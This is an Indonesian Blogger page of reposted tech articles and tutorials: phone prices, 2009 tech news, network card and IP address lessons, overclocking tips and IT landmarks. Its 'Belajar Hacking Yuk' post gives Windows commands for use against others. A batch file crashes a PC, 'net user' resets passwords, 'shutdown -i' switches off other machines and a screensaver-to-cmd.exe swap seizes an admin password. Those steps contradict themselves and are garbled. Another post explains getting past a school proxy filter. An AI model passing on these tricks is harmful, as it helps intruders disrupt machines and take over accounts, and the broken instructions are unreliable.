This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Showing posts with label komputer. Show all posts
Showing posts with label komputer. Show all posts

Daftar Harga HP Murah Terbaru di Indonesia


DAFTAR HARGA HP DAN MEREK ini bisa berubah harga sesuai harga wilayah masing masing toko atau tempat penjualan HP

Daftar Harha HP terbaru

 


[Harga] Cara Daftar Paket Internet XL Unlimited untuk Android Smartphone

Apa anda tidak bisa terlepas dari Internet?.. Jika iya, artikel ini cocok sekali anda baca sampai selesai. Perkembangan internet yang semakin maju membuat perusahaan telekomunikasi memberikan paket internet yang dapat memenuhi kebutuhan internet setiap orang.

Setiap orang memiliki perbedaan ketika menggunakan internet. Ada yang ingin selalu terkoneksi dengan internet dan ada pula yang hanya

Intel Pengin Tanamkan Cip di Otak Manusia


Selasa, 24 November 2009 | 18:12 WIB

SAN DIEGO, KOMPAS.com � Para insinyur di Intel berambisi menanamkan cip ke dalam otak manusia untuk mengendalikan komputer secara langsung melalui pikiran. Cip semacam itu tengah dikembangkan di laboratorium riset Intel di Pittsburgh, AS.

Dengan cip seperti itu, pengoperasian komputer akan semakin efisien karena tidak lagi membutuhkan perantara seperti keyboard dan mouse. Cip implan juga bisa dimanfaatkan untuk mengendalikan perangkat-perangkat elektronis, seperti ponsel, TV, dan pemutar DVD lewat pikiran.

Seperti dilansir Physorg, Dean Pomerleau selaku salah satu ilmuwan yang terlibat menyatakan bahwa cip seperti itu bakal terwujud dalam waktu dekat meski belum sepenuhnya sempurna. Cara kerjanya berdasarkan teknologi rangsangan otak yang disebut Functional Magnetic Resonance Imaging (FMRI).

Secara teori, setiap orang yang memikirkan suatu kata atau gambar yang sama akan mengaktifkan bagian otak yang sama pula. Pomerleau dan timnya menggunakan teknologi FMRI untuk memindai otak-otak sukarelawan demi menentukan perintah yang universal.

Pomerleau mengatakan bahwa saat ini pihaknya sudah bisa segera mewujudkan headset yang memanfaatkan gelombang otak untuk melakukan perintah ke komputer. Langkah berikutnya adalah mewujudkan cip yang bisa ditanam di otak. Ia memperkirakan, hal tersebut minimal butuh satu dekade atau sepuluh tahun ke depan.


source:http://tekno.kompas.com/read/xml/2009/11/24/18121433/intel.pengin.tanamkan.cip.di.otak.manusia

Pemenang Academy Award Nge-tweet dari Penjara?


Santi Dwi Jayanti - detikinet

California - Seorang tahanan jelas tak diizinkan memiliki akses ponsel apalagi komputer. Namun ketika status Twitter milik seorang tahanan kondang rajin di-update, apalagi isinya persis menceritakan kondisi yang ia alami saat mendekam di penjara, tak pelak kecurigaan pun timbul.

Scriptwriter kondang pemenang Academy Award bernama Roger Avary-lah yang dicurigai melakukan aktivitas nge-tweet dari tempat terlarang itu, yakni penjara. Avary yang kondang atas film Pulp Fiction, dicurigai sering pasang status di akun Twitter-nya.

Padahal, ia kini sedang mendekam di penjara Ventura County, California, Amerika Serikat, karena kasus kecelakaan yang menyebabkan nyawa orang lain melayang.

Akun yang beralamatkan di @avary ini memang belum diverifikasi, alias belum diketahui apakah akun itu asli apa tidak. Namun, melihat konten statusnya yang menceritakan kondisi di dalam penjara, sejumlah pihak pun dibuat bertanya-tanya dan curiga.

"Penyakit menyebar ke semua fasilitas seperti semburan api, dan #34 tidak mampu menghindari infeksi ini" begitu tweet terakhir yang ditulis Avary di profilnya.

detikINET kutip dari LATimes, Rabu (25/11/2009), beberapa orang mempercayai Avary punya akses ke komputer. Hal ini dilihat dari sebagian besar tweet-nya yang dikirimkan via web browser.

Namun hal ini juga belum pasti karena beberapa tweet ada yang ditulis lewat Twitterrific, sebuah aplikasi untuk Mac dan iPhone.

Lah, kok bisa?

( sha / rou )

source : http://www.detikinet.com/read/2009/11/25/080923/1248243/398/pemenang-academy-award-nge-tweet-dari-penjara?topnews

Network Card (NIC) / LAN Card



1.Pendahuluan

Network Interface Card (NIC) sering disingkat Network Card.
NIC adalah bagian hardware komputer yang dirancang agar komputer dapat berkomunikasi dalam jaringan komputer.
Merupakan perangkat layer 1 dan layer 2 dalam OSI layer
Setiap network card memiliki serial number unik 48 bit yang disebut Media Access Control (MAC)
Fungsi MAC adalah memberitahu NIC apa yang sedang berjalan dalam jaringan
MAC diatur oleh IEEE

2.Sejarah Network Card
Ditemukan oleh Robert Metcalfe pada tahun 1973.
Waktu itu, beliau masih bekerja di Xerox.
Dia merupakan lulusan MIT dan melanjutkan ke Harvard.
Merupakan salah satu pendiri perusahaan 3Com.

3.Fungsi Network Card
- Media pengirim data ke komputer lain di dalam jaringan
- Mengontrol data flow antara komputer dan sistem kabel
- Menerima data yang dikirim dari komputer lain lewat kabel dan menerjemahkannya ke dalam bit yang dimengerti oleh komputer

4.Bus
Bus adalah rangkaian/jalur (printed circuit) listrik dimana data ditransmisikan
Ada 2 jenis bus, yaitu:
- Local bus (processor bus)
- Expansion bus (AT bus)

5.Jenis Bus untuk NIC
Ada beberapa jenis standar bus jika NIC dihubungkan dengan motherboard, yaitu:
- ISA
- PCI
- PCMCIA

- ISA
Singkatan dari Industry Standard Architecture
Dulu, bus jenis ini digunakan pada IBM PC
Data ditransfer menggunakan jalur 8 bit
Bekerja dalam CPU jenis 8086 dan 8088
Memiliki kecepatan 8 Mbps
Digunakan pada printer, modem, sound card

-PCI
Singkatan dari Peripheral Component Interface
Dapat melakukan transfer data 32 bit dalam satu waktu
Sudah mendukung teknologi plug and play terbaru
PCI sebenarnya digunakan untuk meningkatkan kecepatan grafis

-PCMCIA
Singkatan dari Personal Computer Memory Card International Association
Ditujukan untuk laptop dan notebook
PCMCIA v1.0 merupakan standar untuk memory card
PCMCIA v2.0 sudah digunakan untuk modem, disk drive, dan network card

6.NIC untuk Wired Network
Jenis kabel
- BNC Connector
Berbentuk silinder, dengan 2 prongs untuk menghubungkan
Terbuat dari tembaga
Menggunakan T-connector jika dihubungkan dengan network adaptor

- RJ-45 Connector
Seperti kabel telepon biasa, tetapi bentuknya lebih besar

- UTP (unshielded twisted-pair)
Kabel yang digunakan untuk pengaturan jaringan 10BaseT/100BaseTX

- Ethernet
Merupakan teknologi pertama LAN
Kecepatan hanya 10 Mbps
Sudah jarang digunakan

- Fast Ethernet
Kecepatan sudah mencapai 100 Mpbs

- Gigabit Ethernet
Beroperasi pada kecepatan 1.000 Mpbs
Ada 2 standar, yaitu 802.3z untuk jaringan berbasis fiber optik dan 802.3ab untuk jaringan berbasis twisted pair

7.NIC untuk Wireless Network
Ada 3 standar yang digunakan, yaitu:
802.11a wireless networking
Frekuensi 5 GHz, kecepatan 54 Mbps
Biaya mahal, untuk file-file yang besar
802.11b wireless networking
Frekuensi 2,4 GHz, kecepatan 11 Mbps
Interferensi dengan perangkat lain
802.11g wireless networking
Frekuensi 2,4 GHz, kecepatan 20 Mbps
Interferensi, throughput lebih dari 802.11b
8.Prinsip Kerja Network Card
Paket

Menggunakan protokol Carrier Sense Multiple Access With Collision Detection (CSMA/CD) untuk mengirim paket
Dalam pengiriman data sering terjadi �collision�
Topologi jaringan
Star
Bus

9.Setting Network Card
Ada beberapa konfigurasi:
Interrupt Request Line (IRQ) : line hardware yang digunakan untuk mengirimkan servis request ke CPU
Base I/O Port Address : channel untuk aliran data antara NIC dan CPU
Base Memory Address : lokasi memory (buffer) yang digunakan oleh NIC
DMA Channel : channel untuk NIC mengakses memory tanpa perlu melalui CPU
Transceiver type : transmit/receive setting, bergantung jenis pengkabelannya.

IRQ
IRQ diberikan dengan prioritas
Hanya 1 perangkat yang bisa diberikan untuk IRQ line tertentu. Jika tidak, akan terjadi IRQ conflict
Dua perangkat bisa membagi (share) IRQ line, tetapi tidak bisa menggunakan secara bersamaan
Base I/O Port
Tiap I/O perangkat harus memiliki port unik/lokasi memori
Tujuannya agar perangkat lain bisa saling berkomunikasi
Base Memory Address
Memory space disediakan sebagai buffer untuk menyimpan data yang masuk dan keluar
Tidak semua NIC memerlukan base memory address karena mereka tidak bertukar data dengan CPU melalui lokasi shared memory
Transceiver
Merupakan perangkat yang mentransmisikan dan menerima sinyal
Pada NIC, digunakan untuk menerjemahkan aliran data dari paralel (internal) ke serial (eksternal) maupun sebaliknya
Dapat mendeteksi error pada kabel
Merupakan bagian inti dari ethernet LAN
Normalnya, berada di dalam NIC

10.Pertukaran Informasi NIC dan CPU
Ada 3 cara, yaitu:
DMA Transfer
Shared System Memory
Bus Mastering
DMA Transfer
DMA controller mentransfer data secara langsung dari NIC ke lokasi memory yang disediakan pada komputer
Terdiri atas 2 line sinyal, yaitu line untuk menerima dan line untuk acknowledgement
Kekurangan dari metode ini adalah operasi CPU berhenti dan menunggu sampai transfer selesai
Kebanyakan NIC tidak menggunakan DMA karena interupsinya ke CPU
Shared System Memory
Shared memory bisa dialokasikan pada card atau pada system
Pada card, ia dipetakan ke RAM melalui base memory address dan processor merawatnya seperti lokasi memory yang lain
Pada system, processor khusus pada NIC digunakan untuk memindahkan data ke dan dari suatu lokasi memory
Bus Mastering
NIC akan membypass CPU, mengambil control ke bus sistem dan meload data secara langsung ke sistem memory tanpa interrup ke CPU
Metoda ini biasanya terdapat pada PCI bus

11.Kesimpulan
Network card digunakan dalam komunikasi data
Sudah banyak digunakan dalam perangkat komputer saat ini


12.Sumber
http://www.google.com
http://howstuffworks.com
http://chip.co.id
http://arstechnica.com/index.ars
http://en.wikipedia.com
http://www.pcworld.com
Situs-situs terkait.

Belajar Hacking Yuk....

Untuk mengetahui tentang Ip addess suatu situs :
-Buka CMD
-ketik :tracert www.###.com
lihat hasilnya...daaaan pada bagian akhir poasti ada alamat
ip itulah ip dari situs tersebut.

===========
net user
net user accountname
net user Dan*

============
ip-address.com
==============
Untuk menggangu orang lain dengan program yang kita buat.
buka notepad
ketik:
start
start
start
start
lalu simpan denga namga hak.bat


klo udah nanti kn muncul lalu tambahin di ntpd hak.bat
ini akan membuat crash ga berenti

===============
hack pass Admin
-ketik net user akan muncul data

-net user <>
-net user <> *
-ubah pass
===================
shutdown komputer orang lain

-run cmd
-shutdown -i
-selesct komputer sing pingin di shutdown dan unceck de box below
-ok

==========================
Meng-hack w Andmin Pass

-Run CMD
ketikan
-cd\
-cd\windows\system32
-mkdir temphack
-copy logon.scr temphack\logon.scr
-copy cmd.exe temphack\cmd.exe
-del logon.scr
-rename cmd.exe logon.exe
-exit
tadikan kita udah buat mkdir dengan nama temphack.disitu tadi kita
udah copy file logon.exe dan cmd.exe
dan kita juga udah meng-del logon.exe difile admin n mengganti cmd.exe menjadi
logon.exe
jadi pada dasarnya kita itu melkukn perintah ke windows untuk membackup command program
screen saver file.jadi saat admin load screen saver makakita akan mendapatkan hak
"unprotect DOS prompt windows"
saat ini muncul enter command
ketik:
-net user password
ntar muncul data cari server name nya.contoh klo namanya "clas"
-net user clas pass
ini akan mengubah admin password menjadi pass
=====================================
perintah - perintah di cmd

Overclock Aman dengan Multiplier


Jakarta - Sebelumnya pernah dibahas tentang bagaimana bentuk hubungan antara FSB dengan memory. Setelah mengetahui hubungan keduanya, barulah kita bisa melakukan overclocking pada prosesor.

Dengan mudahnya detikINET 'menarik' Intel core i7 965 dari kecepatan standar 3,2GHz menjadi 4GHz hanya dengan menaikkan kecepatan FSB, itu pun karena dibatasi oleh pendingin prosesor yang masih standar.

Memang sejatinya Intel Core i7 965 sudah memiliki kecepatan yang sangat memadai untuk menjalankan aplikasi terberat sekalipun. Kecepatan yang tinggi tersebut tentunya tidak luput juga dari jumlah Multiplier yang dimilikinya. Apa itu Multiplier?

Muliplier adalah suatu rasio antara clock internal prosesor dengan clock eksternalnya, rasio itupun dapat diubah untuk menentukan kecepatan prosesor. Misalnya, Intel Core i7 965 memiliki Multiplier 24 dengan FSB 133MHz. Ini berarti prosesor tersebut memiliki kecepatan default 24 X 133MHz = 3192 MHz atau sama dengan 3,2 Ghz.

Namun perlu diketahui tidak semua prosesor memiliki Multiplier yang dapat dinaikkan (unlock Multiplier), malah sebagian besar prosesor yang beredar kini hanya dapat diturunkan Multipliernya (Multiplier Lock).

Menaikkan jumlah Multiplier adalah suatu overclocking yang sangat aman untuk dilakukan, karena perubahannya tidak akan berdampak pada melonjaknya kecepatan FSB ataupun memory.

Dengan kombinasi yang tepat antara kecepatan FSB, memory dan jumlah Multiplier, maka para overclocker akan mendapatkan kecepatan prosesor yang optimal.

Lalu apa hanya cukup sampai di situ? tentu tidak.

Jika kombinasi tersebut masih dirasakan kurang, para pengguna masih dapat menaikkan jumlah Voltase. Ada dua jenis Voltase dalam komputer, vCore, adalah sebutan Voltase untuk prosesor dan vDIMM sebutan Voltase untuk memory. Namun, menaikkan jumlah Voltase memiliki risiko yang jauh lebih besar jika dibandingkan dengan menaikkan Multiplier atau pun FSB.

Menaikkan Voltase semata-mata hanya perlu dilakukan jika sistim tidak berjalan dengan baik akibat overclocking yang berlebih.

Kesimpulannya, untuk melakukan overclocking bukanlah perkara sulit, tetapi tetap saja mengandung risiko yang dapat menyebabkan kerusakan pada hardware.

Apalagi, para vendor komputer tidak memberikan garansi untuk kerusakan akibat overclock, benar-benar sebuah mimpi buruk jika itu sampai terjadi.

Hal itu tentunya bisa dicegah jika pengguna tidak melakukan overclock berlebihan, yang artinya komputer tetap stabil, temperatur tidak berlebihan atau kenaikan kecepatan yang tidak terpaut jauh dari kondisi semula. ( eno / faw )

sumber : http://www.detikinet.com/read/2009/08/21/113613/1187076/510/overclock-aman-dengan-multiplier

Trik Mencurangi Proxy


halo kawan-kawan Udah pada tau Proxy gak..??milkysmile

Menurut mas Wikipedia,
Proxy server (peladen proxy) adalah sebuah komputer server atau program komputer yang dapat bertindak sebagai komputer lainnya untuk melakukan request terhadap content dari Internet atau intranet.

Proxy Server bertindak sebagai gateway terhadap dunia Internet untuk setiap komputer klien. Proxy server tidak terlihat oleh komputer client : seorang pengguna yang berinteraksi dengan Internet melalui sebuah proxy server tidak akan mengetahui bahwa sebuah proxy server sedang menangani request yang dilakukannya. Web server yang menerima request dari proxy server akan menginterpretasikan request-request tersebut seolah-olah request itu datang secara langsung dari komputer klien, bukan dari proxy server.

Proxy server juga dapat digunakan untuk mengamankan jaringan pribadi yang dihubungkan ke sebuah jaringan publik (seperti halnya Internet). Proxy server memiliki lebih banyak fungsi daripada router yang memiliki fitur packet filtering karena memang proxy server beroperasi pada level yang lebih tinggi dan memiliki kontrol yang lebih menyeluruh terhadap akses jaringan. Proxy server yang berfungsi sebagai sebuah "agen keamanan" untuk sebuah jaringan pribadi, umumnya dikenal sebagai firewall.

Jadi gimana?Udah ngerti belom apa itu Proxy?milkysmileGini aja dech, Proxy bisa kita ibaratkan sebagai penjaga jaringan internet. Kalau suatu situs sudah diblokir oleh Proxy, maka kita tidak bisa masuk ke situs tersebut.Biasanya teknologi Proxy diterapkan di kantor, sekolah, atau instansi-instansi lainnya (seperti di skul Aq), gitu lho...milkysmile

Tapi kabar baiknya saya punya solusi buat mengakali Proxy agar kita bisa tetap ber-Internetan tanpa diblokir atau supaya lebih keren kita sebut dengn teknik Bypass Proxy.
Caranya gimana?
1. Buka browser internet. Bisa dengan IE, Mozilla Firefox atau dengan Google Chrome.

2. Kemudian masukkan alamat http://hideu.info
3. Kemudian klik gambar yang terdapat pada halaman hideu.info
4. Dan masukkan alamat web yang ingin diganti proxinya. Lalu klik "Browse".
5. Selamat akhirnya kalian berhasil membobol Proxy, gampang khan?milkysmileHhehehe...milkysmile

12 Tempat Wisata Wajib Orang IT

Sudah bukan rahasia lagi kalau kebanyakan penemuan atau pionir perusahaan TI, terutama di Amerika Serikat, dilakukan dalam garasi rumah atau kamar asrama. Karena itu, jangan heran kalau beberapa tempat dalam daftar berikut bukanlah berwujud gedung atau bangunan megah.
Ini dia, 12 tempat yang memegang peranan penting dalam sejarah komputer dunia (catatan: urutan tidak mencerminkan prioritas)


1. 367 Addison Ave., Palo Alto, California, USA
Lokasi yang ditasbihkan sebagai tempat kelahiran Silicon Valley oleh pemerintah negara bagian California pada tahun 1989. Garasi rumah ini merupakan lokasi Bill Hewlett dan Dave Packard mengembangkan produk pertama mereka: osilator audio Model 200A, lebih dari 70 tahun yang lalu.




2. 2066 Crist Dr., Los Altos, California, USA
Lokasi rumah tempat Steve Jobs dan Steve Wozniak merintis perusahaan Apple Computer pada tahun 1976.




3. 232 Santa Margarita Ave., Menlo Park, California, USA
Tempat terakhir yang berlokasi di wilayah Silicon Valley. Garasi rumah sewaan, tempat duo Larry Page dan Sergey Brin melakukan riset sekaligus mengembangkan mesin pencari Google.




4. CERN -- Jenewa, Swiss
Laboratorium dan pusat penelitian nuklir, tetapi merupakan tempat lahirnya World Wide Web. Tahun 1990, fisikawan, Tim Berners-Lee, dan perancang sistem, Robert Cailliau, pertama kali mendesain konsep sistem informasi berbasis tautan hiperteks (hypertext links) yang saat itu mereka sebut "Mesh".




5. Bletchley Park -- Bletchley Town, Inggris
Lokasi Britain's National Museum of Computing, tempat dipamerkannya mesin Colossus. Salah satu komputer biner elektronis pertama yang bisa diprogram untuk meretas kode rahasia, digunakan tentara Inggris selama Perang Dunia II dalam membongkar pesan-pesan rahasia Nazi.





6. Xerox PARC -- Palo Alto, California, USA
Induk dari banyak penemuan penting di dunia TI. Antarmuka grafis (GUI) pertama dibuat di sini, kabel ethernet pun pertama kali disambungkan di tempat ini. Printer laser? Editor teks bersifat WYSIWYG? Adobe Systems? Ubiquitous computing? Seluruhnya ditemukan di Xerox Palo Alto Research Center ini.




7. Ames Lab, Iowa State University -- Ames, Iowa, USA
Laboratorium pengembangan salah satu pionir komputer digital di dunia. Atanasoff Berry Computer (ABC) adalah mesin pertama yang mampu mengintegrasikan aritmatika biner, memori regeneratif, dan sirkuit logis.




8. Moore School of Engineering, Univ. of Pennsylvania -- Philadelphia, USA
Tempat lahirnya ENIAC (Electronic Numerical Integrator And Computer), nama yang lebih ngetop menjadi jawaban pertanyaan "Apakah komputer pertama di dunia?". Dibuat oleh John Mauchly dan J. Presper Eckert.





9. IBM's "Main Plant" -- Poughkeepsie, N.Y.
Di pabrik inilah IBM melakukan proses perancangan, produksi, dan peluncuran produk-produk komputer mainframe-nya. Salah satunya adalah IBM 701. Tahun 1953 yang lalu, komputer ini digadang-gadang sebagai komputer berkecepatan tinggi yang paling canggih dan paling fleksibel di dunia.





10. Room 2713, Dobie Hall, University of Texas -- Austin, Texas
Kamar asrama yang ditempati Michael Dell saat pertama kali menjual komputer buatannya lewat perantara surat pada tahun 1984.




11. Kirkland House, Harvard Univ. -- Cambridge, Massachusetts, USA
Sebuah kamar di lantai tiga Kirkland House menjadi saksi bisu usaha Mark Zuckerberg, Dustin Moskovitz, dan Chris Hughes dalam merancang jejaring sosial Facebook pada tahun 2004.




12. Lyman Residence Hall, Stanford Univ. -- Stanford, California, USA
Di asrama Lyman ini, Larry Page pernah menghuni sebuah kamar tempat munculnya inspirasi untuk membuat mesin pencari Google. Bersama Sergey Brin, mereka mematangkan ide di kamar tersebut sebelum akhirnya pindah ke garasi rumah Susan Wojcicki (baca no. 3).



Sumber:http://nemoto911.blogspot.com/2009/08/10-tempat-wisata-favorit-bagi-orang-it.html



Konsep Dasar IP Address

 Walaupun bagi para pengguna Internet umumnya kita hanya perlu mengenal hostname dari mesin yang dituju, seperti: server.indo.net.id, rad.net.id, ui.ac.id, itb.ac.id. Bagi komputer untuk bekerja langsung menggunakan informasi tersebut akan relatif lebih sulit karena tidak ada keteraturan yang dapat di programkan dengan mudah. Untuk mengatasi hal tersebut, komputer mengidentifikasi alamat setiap komputer menggunakan sekumpulan angka sebanyak 32 bit yang dikenal sebagai IP address.

Adanya IP Address merupakan konsekuensi dari penerapan Internet Protocol untuk mengintegrasikan jaringan komputer Internet di dunia. Seluruh host (komputer) yang terhubung ke Internet dan ingin berkomunikasi memakai TCP/IP harus memiliki IP Address sebagai alat pengenal host pada network. Secara logika, Internet merupakan suatu network besar yang terdiri dari berbagai sub network yang terintegrasi. Oleh karena itu, suatu IP Address harus bersifat unik untuk seluruh dunia. Tidak boleh ada satu IP Address yang sama dipakai oleh dua host yang berbeda. Untuk itu, penggunaan IP Address di seluruh dunia dikoordinasi oleh lembaga sentral Internet yang di kenal dengan IANA - salah satunya adalah Network Information Center (NIC) yang menjadi koordinator utama di dunia untuk urusan alokasi IP Address ini adalah :

InterNIC Registration Services Network Solution Incorporated 505 Huntmar Park Drive, Herndon, Virginia 22070 Tel: [800] 444-4345, [703] 742-4777 FAX: [703] 742-4811 E-mail: hostmaster@internic.nethostmaster@internic.netThis e-mail address is being protected from spambots. You need JavaScript enabled to view it

Sedangkan untuk tingkat Asia Pasifik saat ini masih dikoordinasi oleh:

Asia Pacific Network Information Center c/o Internet Initiative Japan, Inc. Sanbancho Annex Bldg., 1-4, Sanban-cho, Chiyoda-ku, Tokyo, 102 Japan Tel: +81-3-5276-3973 FAX: +81-3-5276-6239 E-mail: domreg@apnic.netdomreg@apnic.netThis e-mail address is being protected from spambots. You need JavaScript enabled to view it http://www.apnic.net

Struktur IP Address

IP Address terdiri dari bilangan biner sepanjang 32 bit yang dibagi atas 4 segmen. Tiap segmen terdiri atas 8 bit yang berarti memiliki nilai desimal dari 0 - 255. Range address yang bisa digunakan adalah dari 00000000.00000000.00000000.00000000 sampai dengan 11111111.11111111.11111111.11111111. Jadi, ada sebanyak 232 kombinasi address yang bisa dipakai diseluruh dunia (walaupun pada kenyataannya ada sejumlah IP Address yang digunakan untuk keperluan khusus). Jadi, jaringan TCP/IP dengan 32 bit address ini mampu menampung sebanyak 232 atau lebih dari 4 milyar host. Untuk memudahkan pembacaan dan penulisan, IP Address biasanya direpresentasikan dalam bilangan desimal. Jadi, range address di atas dapat diubah menjadi address 0.0.0.0 sampai address 255.255.255.255. Nilai desimal dari IP Address inilah yang dikenal dalam pemakaian sehari-hari. Beberapa contoh IP Address adalah :

46.138.7.43
162.203.8.36
201.125.1.240

Ilustrasi IP Addres dalam desimal dan biner dapat dilihat pada gambar 1 berikut :

Gambar 1. IP Address dalam Bilangan Desimal dan Biner

IP Address dapat dipisahkan menjadi 2 bagian, yakni bagian network (bit-bit network/network bit) dan bagian host (bit-bit host/host bit). Bit network berperan dalam identifikasi suatu network dari network yang lain, sedangkan bit host berperan dalam identifikasi host dalam suatu network. Jadi, seluruh host yang tersambung dalam jaringan yang sama memiliki bit network yang sama. Sebagian dari bit-bit bagian awal dari IP Address merupakan network bit/network number, sedangkan sisanya untuk host. Garis pemisah antara bagian network dan host tidak tetap, bergantung kepada kelas network.


Ada 3 kelas address yang utama dalam TCP/IP, yakni kelas A, kelas B dan kelas C. Perangkat lunak Internet Protocol menentukan pembagian jenis kelas ini dengan menguji beberapa bit pertama dari IP Address. Penentuan kelas ini dilakukan dengan cara berikut : �

* Jika bit pertama dari IP Address adalah 0, address merupakan network kelas A. Bit ini dan 7 bit berikutnya (8 bit pertama) merupakan bit network sedangkan 24 bit terakhir merupakan bit host. Dengan demikian hanya ada 128 network kelas A, yakni dari nomor 0.xxx.xxx.xxx sampai 127.xxx.xxx.xxx, tetapi setiap network dapat menampung lebih dari 16 juta (2563) host (xxx adalah variabel, nilainya dari 0 s/d 255). Ilustrasinya dapat dilihat pada gambar 2 berikut.

Gambar 2. Struktur IP Address Kelas A

* Jika 2 bit pertama dari IP Address adalah 10, address merupakan network kelas B. Dua bit ini dan 14 bit berikutnya (16 bit pertama) merupakan bit network sedangkan 16 bit terakhir merupakan bit host. Dengan demikian terdapat lebih dari 16 ribu network kelas B (64 x 256), yakni dari network 128.0.xxx.xxx - 191.255.xxx.xxx. Setiap network kelas B mampu menampung lebih dari 65 ribu host (2562). Ilustrasinya dapat dilihat pada gambar 3 berikut.

Gambar 3. Struktur IP Address Kelas B

* Jika 3 bit pertama dari IP Address adalah 110, address merupakan network kelas C. Tiga bit ini dan 21 bit berikutnya (24 bit pertama) merupakan bit network sedangkan 8 bit terakhir merupakan bit host. Dengan demikian terdapat lebih dari 2 juta network kelas C (32 x 256 x 256), yakni dari nomor 192.0.0.xxx sampai 223.255.255.xxx. Setiap network kelas C hanya mampu menampung sekitar 256 host. Ilustrasinya dapat dilihat pada gambar 4.

Gambar 4. Struktur IP Address Kelas C


Selain ke tiga kelas di atas, ada 2 kelas lagi yang ditujukan untuk pemakaian khusus, yakni kelas D dan kelas E. Jika 4 bit pertama adalah 1110, IP Address merupakan kelas D yang digunakan untuk multicast address, yakni sejumlah komputer yang memakai bersama suatu aplikasi (bedakan dengan pengertian network address yang mengacu kepada sejumlah komputer yang memakai bersama suatu network). Salah satu penggunaan multicast address yang sedang berkembang saat ini di Internet adalah untuk aplikasi real-time video conference yang melibatkan lebih dari dua host (multipoint), menggunakan Multicast Backbone (MBone). Kelas terakhir adalah kelas E (4 bit pertama adalah 1111 atau sisa dari seluruh kelas). Pemakaiannya dicadangkan untuk kegiatan eksperimental.

Jenis kelas address yang diberikan oleh kooordinator IP Address bergantung kepada kebutuhan instansi yang meminta, yakni jumlah host yang akan diintegrasikan dalam network dan rencana pengembangan untuk beberapa tahun mendatang. Untuk perusahaan, kantor pemerintah atau universitas besar yang memiliki puluhan ribu komputer dan sangat berpotensi untuk tumbuh menjadi jutaan komputer, koordinator IP Address akan mempertimbangkan untuk memberikan kelas A. Contoh IP Address kelas A yang dipakai di Internet adalah untuk amatir paket radio seluruh dunia, mendapat IP nomor 44.xxx.xxx.xxx. Untuk kelas B, contohnya adalah nomor 167.205.xxx.xxx yang dialokasikan untuk ITB dan jaringan yang terkait ke ITB dibawah koordinator Onno W. Purbo.

Address Khusus

Selain address yang dipergunakan untuk pengenal host, ada beberapa jenis address yang digunakan untuk keperluan khusus dan tidak boleh digunakan untuk pengenal host. Address tersebut adalah :

* Network Address
Address ini digunakan untuk mengenali suatu network pada jaringan Internet. Misalkan untuk host dengan IP Address kelas B 167.205.9.35. Tanpa memakai subnet, network address dari host ini adalah 167.205.0.0. Address ini didapat dengan membuat seluruh bit host pada 2 segmen terakhir menjadi 0. Tujuannya adalah untuk menyederhanakan informasi routing pada Internet. Router cukup melihat network address (167.205) untuk menentukan kemana paket tersebut harus dikirimkan. Contoh untuk kelas C, network address untuk IP address 202.152.1.250 adalah 202.152.1.0. Analogi yang baik untuk menjelaskan fungsi network address ini adalah dalam pengolahan surat pada kantor pos. Petugas penyortir surat pada kantor pos cukup melihat kota tujuan pada alamat surat (tidak perlu membaca seluruh alamat) untuk menentukan jalur mana yang harus ditempuh surat tersebut. Pekerjaan �routing� surat-surat menjadi lebih cepat. Demikian juga halnya dengan router di Internet pada saat melakukan routing atas paket-paket data.

* Broadcast Address

Address ini digunakan untuk mengirim/menerima informasi yang harus diketahui oleh seluruh host yang ada pada suatu network. Seperti diketahui, setiap paket IP memiliki header alamat tujuan berupa IP Address dari host yang akan dituju oleh paket tersebut. Dengan adanya alamat ini, maka hanya host tujuan saja yang memproses paket tersebut, sedangkan host lain akan mengabaikannya. Bagaimana jika suatu host ingin mengirim paket kepada seluruh host yang ada pada networknya ? Tidak efisien jika ia harus membuat replikasi paket sebanyak jumlah host tujuan. Pemakaian bandwidth akan meningkat dan beban kerja host pengirim bertambah, padahal isi paket-paket tersebut sama. Oleh karena itu, dibuat konsep broadcast address. Host cukup mengirim ke alamat broadcast, maka seluruh host yang ada pada network akan menerima paket tersebut. Konsekuensinya, seluruh host pada network yang sama harus memiliki address broadcast yang sama dan address tersebut tidak boleh digunakan sebagai IP Address untuk host tertentu. Jadi, sebenarnya setiap host memiliki 2 address untuk menerima paket : pertama adalah IP Addressnya yang bersifat unik dan kedua adalah broadcast address pada network tempat host tersebut berada. Address broadcast diperoleh dengan membuat seluruh bit host pada IP Address menjadi 1. Jadi, untuk host dengan IP address 167.205.9.35 atau 167.205.240.2, broadcast addressnya adalah 167.205.255.255 (2 segmen terakhir dari IP Address tersebut dibuat berharga 11111111.11111111, sehingga secara desimal terbaca 255.255). Jenis informasi yang dibroadcast biasanya adalah informasi routing.

* Netmask

Adalah address yang digunakan untuk melakukan masking / filter pada proses pembentukan routing supaya kita cukup memperhatikan beberapa bit saja dari total 32 bit IP Address. Artinya dengan menggunakan netmask tidak perlu kita memperhatikan seluruh (32 bit) IP address untuk menentukan routing, akan tetapi cukup beberapa buah saja dari IP address yg kita perlu perhatikan untuk menentukan kemana packet tersebut dikirim.

Kaitan antara host address, network address, broadcast address & network mask sangat erat sekali - semua dapat dihitung dengan mudah jika kita cukup paham mengenai bilangan Biner. Jika kita ingin secara serius mengoperasikan sebuah jaringan komputer menggunakan teknologi TCP/IP & Internet, adalah mutlak bagi kita untuk menguasai konsep IP address tersebut. Konsep IP address sangat penting artinya bagi routing jaringan Internet. Kemampuan untuk membagi jaringan dalam subnet IP address penting artinya untuk memperoleh routing yang sangat effisien & tidak membebani router-router yang ada di Internet. Mudah-mudahan tulisan awal ini dapat membuka sedikit tentang teknologi / konsep yang ada di dalam Internet.

Sumber : Aulia K. Arif & Onno W. Purbo

misal kita memiliki blok ip 192.168.0.0/24 ini berarti kita memiliki host sebanyak 254 host, untuk ip 192.168.0.0 digunakan sebagai network id, sedangkan ip 192.168.0.255 digunakan sebagai broadcast id

perhitungannya didapatkan dari
192.168.0.0 = 11000000.10101000.00000000.00000000 (ip 192.168.0.0 dijadikan biner)
apabila CIDR /24 maka dihitung dari bit terdepan sebanyak 24 bit kebelakang
ngambilnya seperti yg saya warna merah
11000000.10101000.00000000.00000000
jadi subnet untuk CIDR /24 dalam biner adalah
11111111.11111111.11111111.00000000
